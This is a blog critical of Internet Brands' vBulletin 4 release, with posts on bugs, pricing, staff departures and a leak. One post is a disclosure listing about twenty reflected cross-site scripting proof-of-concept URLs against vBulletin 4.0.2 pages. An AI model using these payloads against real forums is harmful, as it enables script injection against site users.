vBTruth | Shining Light on Internet Brand's Disaster

The simple, unedited truth.

Sorry guys but I have just got to say something about v4 and it takes a lot for me say something but I am just completely frustrated with this software now.

For the last couple of weeks I have been trying to use it and make my site presentable and every darn thing I try becomes a nightmare of effort. The simplest of things that you could do in just a couple of minutes in 3.8 takes 10 times as long – trying to figure out what css does what with some css changes being made in stylevar but that isn’t complete, some css changes in templates but then they all conflict and hard to follow – everything is just so half baked that a person has no idea what does what anymore. And, don’t get me started on these vb functions taking away php standard lines.

What you have achieved now is made vbulletin only for developers and not the bulk of your clients which are those average people that would like to set up a forum and make their changes in an easy to understand and follow system.

You may say well why upgrade? – because if I don’t I will become like one of the many average users that seem to be leaving v4 and who will end up in time completely leaving vb all together.

Why couldn’t you have just made one major change and done it properly so your customers could get use to it and understand it and then another major change in 12 months etc?

Sorry but I just had to get this off my chest because I am just so darn frustrated with not being able to do the simplest of things properly and easily within the design of the software anymore. I have a fantastic v3.8 site, I am not a developer thus one of your majority of customers, and finding it impossible to make my site v4.

No tags Hide

Vendor: Internet Brands (NASDAQ: INET)
Product: vBulletin 4 Forum, vBulletin 4 Suite
Version: 4.0.2
Vector of Attack: Cross Site Scripting
Source: Inje3ct0rvBulletin.com

Details:

# Exploit  :
http://127.0.0.1/upload/calendar.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/faq.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forum.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/usercp.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/subscription.php?
acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/showgroups.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/sendmessage.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/search.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/register.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/profile.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/private.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/online.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/newthread.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/misc.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/memberlist.php?=>”‘><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/member.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/inlinemod.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/index.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/forumdisplay.php?acuparam=>”><ScRiPt>alert(213771818860)</ScRiPt>
Additional vulnerabilities found by vBulletin Forum Members
http://127.0.0.1/upload/content.php/>”><ScRiPt>alert(213771818860)</ScRiPt>
http://127.0.0.1/upload/blog.php/>”><ScRiPt>alert(213771818860)</ScRiPt>

, , , Hide

Chronos and I both decided after vBulletin 4 went gold, we’d disappear into the shadows to do what we do best: observe. What have we observed during our writing absence? Chaos. Confusion. Backlash. Bugs. Customer Disappointment. Frustration. Disappointment.

As an auditor, I’ve been often asked to audit programs and the scope that’s been undertaken. I’ve also sat back occasionally as part of my audit scope to do a complete quality assurance check on software that is intended to be released into production. I find bugs and send them off to QA, but it has been an indicator to me as how a project is being managed, as well as an indicator to determine its current project state. It’s shameful that vBulletin 4 was released in such a state. The application itself shows too many signs of software bugs and glitches floating around all over the place. In my opinion, I would never have approved the release of vBulletin 4.

As I sit back and tinker in a closed beta environment on my localhost server, I could not and would not approve vBulletin 4 being utilized on any of my client’s sites (or my own for that matter). There is simply far too much risk involved in utilizing that’s still quite buggy.

My frustrations with Internet Brands is ever growing. As an auditor, I would likely be writing reports like mad and ensuring senior management is held accountable. However, seeing as I’m not Internet Brands auditor, my own position is one of a customer. As a customer, I am livid, furious, and insanely upset that Internet Brands would sell me a software that is flawed far worse than Windows Vista. More to the point, I’m extremely frustrated that senior management, in particular Bob Brisco, and Joe Rosenblum, have not taken responsibility, nor attempt to signal to stakeholders that this fiasco is being addressed and rectified. Instead, they’ve done their marketing campaign and have decided to hide from the wrath of customers.

I quite understand that software bugs are a part of any development of any application. I also understand it never will be perfect, but I’ve often chimed in my reports to various software companies that bugs need to be managed and controlled properly. If they ever become a significant issue, they can and will hinder functionality. Furthermore, they will cause backlash and create trust issues that will resonate for years to come.

The point of doing bug fixing is to get rid of those bugs. It’s to ensure the software is 99.99% functional for the most common setups.

Looking at some of the bug reports inside the Project Tools, several bugs I’ve found were documented AFTER the release of vBulletin 4 Gold. Some of these bugs are clearly obvious and are simply shameful as a 14 year old would have caught them. It’s appalling.

My question to you Internet Brands: Who did the quality assurance and wrote the quality assurance plan? It is obvious that QA wasn’t performed properly. It’s clear we’re paying more for vBulletin for more bugs, and less functional software.

No tags Hide

vBulletin 4x – We Want More – ASAP!? Or do we?

Let’s take a look back and do a quick review.

First we get the release of vBulletin 4.0 Gold. This build of vB 4.0.0 is plagued with bugs and known issues, yet it’s still released. Then we get vB 4.0.0 PL1, which is a release patch to fix a newly discovered exploit. This takes us to vB 4.0.1, which is a “maintenance release” that fixed 200+ bugs.
Finally, this brings us to 4.0.2, which was supposed to have been released February 4th, 2010 (now delayed).

The mentality used by IB is amusing, but not at all surprising. Instead of focusing on releasing a solid, stable build, they are merely pumping out versions as quickly as they can, and releasing them prematurely, even when they are clearly not ready to be deployed due to known bugs.

Only now with the delay of the 4.0.2 release have they actually held off releasing it to provide a more “quality” build. Maybe they finally learned their lesson that quality > quantity? We’ll soon find out.

@IB, you disappoint me, yet again. Dare I say, we told you so?
I would highly suggest you take a page out of the old vB team and focus on building a quality product. The old Jelsoft actually valued and knew the importance of releasing a solid build instead of just releasing as many, and bug filled versions as they could.

No tags Hide

Twas the day before Christmas
and all through the net
vBulletin admins banging their heads
Installation’s has started for vBulletin 4
In hopes that it will succeed, once and for all

Once installed, the admins sighed in relief
and begins to tinker, then much to his disbelief
not one, but hundreds of bugs did appear
and it’s wrecked their Christmas cheer.

Then with a fury he curses at once
he runs for support just to fix the matter
To his surprise he’s not alone
that this bug was found long, long ago.

The poem’s a bit overly dramatic, but it’s rather fitting based on the struggles Chronos and I have seen this week. It’s been four days since vBulletin 4 came out, and it appears it has been a miserable four days. Bugs galor, customers crying foul, requirements not met (which is the biggest concern as any excellent systems developer would know you must achieve a good percentage of them). And the there’s the occasional cheer, and celebration saying vBulletin 4 is rather golden.

vBulletin is a marvelous product. vBulletin 4, however, leaves a bitter taste in my mouth. There are far too many mis-use cases that were not accounted for, thus breaking the entire information system.

I will be the first to say that we as customers should have held Internet Brands accountable. Clearly Internet Brands dropped the ball, and now we’re dealing with an incomplete, half-baked, second rate, forum and CMS.

I’m going to pose the question to everyone out there: What do you think of vBulletin 4? The blunt, brutal hard truth. Is it worth the price, time, and energy in buying, installing, and/or upgrading to? What would you tell to future investors? Or what would you tell to future customers?

Comment away.

No tags Hide

Internet Brands operates communities for anyone to speak. But more importantly, are they truly listening to their customers and what they are saying?

When dealing with any investment, there is risk. Does Internet Brands understand how much risk they've undertaken? Is Internet Brands those managing risks well?

I’ve often wondered why some the senior development team for vBulletin suddenly left without any advance warning. In one short month, Kier Darby, Mike Sullivan, and Scott Macvicar all left Internet Brands. In that one month, it represented a significant loss of talent, senior management, and senior development of vBulletin. These three represent the brains of vBulletin. They represent the integrity of vBulletin. They represent the key development and leadership of a industry icon. They understood customer’s requirements. They understood the customer. Last but not least, this trio understood vBulletin.

These questions have been racing in my mind. Why did they leave? What possible reasons could they have left? Was it because Internet Brands (Nasdaq: INET) acquired them? Was it because of management? Was it because they no longer liked working at Jelsoft and Internet Brands? Was it because they became merely a cog in this giant machine? Or maybe rather than job enlargement and enrichment, they experienced job reduction and dissatisfaction?

Finally, that silence has been broken. It appears what we’ve suspected all along happened. I hoped this wasn’t the case, however, my own nightmare, suspicions, and fears have been confirmed.

Internet Brands meddled where they should not have. They’ve roasted, and killed the goose that laid the golden eggs. It is the classic management case study in which employees leave because of management, not because of the company.

(more…)

No tags Hide

Breaking News! Ray Morgan resigns as vBulletin General Manager.

Sincere thanks to the vBulletin community!

Greetings all,

As some of you know, my wife and I own property in Central America and have worked for the last few years toward building a home there. We are now in a position where we can begin construction, and that will require a lot of time on site and a great deal of travel.

Since my role in vBulletin can’t reasonably be filled from 3,000 miles away, the time has come for me to transition various responsibilities to my teammates. I will be with Team vB through this Friday, December 11.

These changes will not directly affect vBulletin customers. The rest of the team remains intact, and the most important things are not changing:

Kevin Sours will continue to run vBulletin’s large Engineering group, with backup from Joe Rosenblum, Internet Brands’s CTO.

Don Kuramura will continue to be responsible for Product Management, strategy, and business development.

Steve Machol will continue managing the Support team, with backup from Jennifer Rundell, Internet Brands’s VP of Content.

The path to building 4.0 out the door has been incredibly exciting, and all the more so to have done it alongside such a smart and dedicated team. (Each of them has a standing invitation to visit Lake Arenal!)

vBulletin is in very capable hands. The imminent release of 4.0 is just the beginning of some very exciting things ahead. The Internet evolves quickly, so in addition to new things like the Content Publishing Suite, Team vB are working on even bigger expansions, like products and services for big-board customers, vB for mobile, and more.

Again, a heartfelt thank you to the vBulletin community for all of your support.

Onward!

Our thoughts to come later.

No tags Hide

Highway Robbery

I was tutoring this weekend and I helped an 11th grade high school student with US History.  He pointed out to me that history is useless, but I retorted that if we never learn from history, history has a tendency to repeat itself. That gave me reason to pause as I thought how that very logic applies to our scenario. Internet Brands did this once to us, what’s not to say they will do it again?

Let’s face the truth. I got my credit card bill last week, and it’s simply highway robbery. I cringed at the fact I had to pay just to do an upgrade. Sure $130.00 doesn’t seem much, but when you combine the fact that our license was suppose to be worth $160.00 (or $180.00 for others), we’re still paying more than $235.00 for a brand new license! What Internet Brands is making us pay is simply highway robbery. I don’t know how else to put it.

I don’t see ANY reason at all to justify existing license holders paying more. Essentially we’re being told to just pony up money for a brand new license. Forget what Internet Brands has told you; it’s merely a ploy, a cover. It’s purely marketing. Rip off all the marketing, and you’ll see is that we’re paying for a brand new license.

As existing Legacy vBulletin license holders, we’re treated as second rate citizens. We’re not important to them. Our wallets are more important to them. What’s not to say this is to happen again when vBulletin 5 arrives on the horizon?

We’re stuck holding a useless, absolutely pointless license vBulletin 3 license. After our license expires per-se, no more updates.  No more security patches. Once vBulletin 4 goes into full swing, vBulletin 3 citizens are treated as the scorn of the earth. Internet Brands manipulated us using fear tactics so that we’d buy licenses.

I really sympathize with those who bought vBulletin licenses really late in the game before vBulletin 4 was announced. Anyone who bought a license merely hours or days before vBulletin 4 got announced feel the real wrath. They bought a license only to have it invalidated and ripped from their hands minutes later.

Yet when they protest that they’ve been scammed, they’re told to upgrade to the latest vBulletin 4 License by paying even more? Any more protests, and you have threads closed. Has anyone checked out Pre-Sales recently? There are several threads in which customers point out that they don’t treat customers well.

Has anyone at Internet Brands done the math? We’re paying MORE for upgrading to a vBulletin 4 license than brand new vBulletin 4 license holders. Where’s the justice? Where’s the respect? More importantly, where’s the loyalty to your existing customer base that made vBulletin so successful? If they’re treating customers like this, as a shareholder, stakeholder or investors I’d wonder how Internet Brands may very well treat me in the future.

Let’s face it. vBulletin 3 license holders have been screwed over. If history has anything to say, it’s that it’s going to happen again.

, Hide

It was in May 2009 when the world first became aware of the infamous vBulletin 4 leak. Forums and blogs all over the Internet had screenshots posted for the upcoming plans for vBulletin 4. This extensive thread contained future plans in terms of pricing, licensing changes, changes to support, the process of beta testing, and so on.
Let’s take a look at some of the proposed changes and what ended up happening.

Pricing:
The pricing changes that were brought up in the thread ended up happening.
vB4.0 Publishing Suite – New license: $285, Upgrade: $250
vB4.0 Forum Classic – New License: $195, Upgrade: “Free”.

Note, that I am intentionally leaving out the discounted “pre-order” prices, since there was no mention of these in the leaked thread.

Also keep in mind, the pricing above is for vB 4x. Upgrading to vB 5x will be an additional fee (notice a pattern here?) which has not yet been determined.

Support:
The change to support – These changes also ended up happening.
Although customers get access through the forums, the Forum Classic customers only get access through the support system for 30 days and they will be forced to pay extra if they need additional support through a ticket.

One major reason people chose vBulletin is because of the affordable prices in the past, and the excellent support that was offered through tickets and the forum, yet once again, IB is taking something that worked well, and engaging in price gouging, because they know they can by charging extra for the software itself and for support tickets.

Beta Testing:
In the past, when the times were good and we had original development team, open beta testing was something of the norm. This was important because it gave members to try out the software so they could get a head start on getting their communities ready. It was also important because members of the modding and skinning community were able to play with the software to prepare their products for the new version of vBulletin. All of this changed however with IB and the new development team. Beta access to vB4 was only given to a select handful of customers. Later after much controversy they decided to give members who pre-ordered it a chance to try the beta as well, but only because they were forced to, because of all negative attention, and this was a feeble attempt to “give back” to the community.

Impact:
News of this leak caused an upheaval. Most people were furious to hear about some of these planned changes. When the topic was brought up on the forums, it resulted in nothing but closed threads and IB simply ignored the subject, telling us to wait for “official word”.

In the leaked screenshots, Steve clearly states that if the situation is not handled correctly, it could cause a “negative impact” and he pretty much nailed it – yet even with this, they failed to transition correctly and failed to handle the situation accordingly. The last line regarding the customer issue is what makes this whole situation ironic: “If we want loyalty from our customers, then we should be loyal to them in return”.

IB had a chance to try and reassure their customers but failed to do so. People grew more and more frustrated and IB turning their heads in the opposite direction, continually ignoring the subject only added to this frustration. IB should have taken what they learned from the original leak to make changes, improve and do everything in their power to assure the community but they failed to do so.

No tags Hide

Nov/09

3

A Note from Our Team

We know that vBulletin 4 has been leaked. But as a courtesy to our team, please do not post such links or content packages here.

Chronos nor I care to entertain Patrick “Call Scott Macvicar Disgruntled” Stack, Ray “All Business” Morgan, Bob “Head in the Clouds” Brisco, Howard “PirateReports” Sprinks or any other representative of Internet Brands shoving anything, including Digital Millennium Copyright Act Notifications, or other propaganda in our inbox just because those links appeared.

No tags Hide

« Previous Entries

Next Page »

Find it!

Theme Design by devolux.org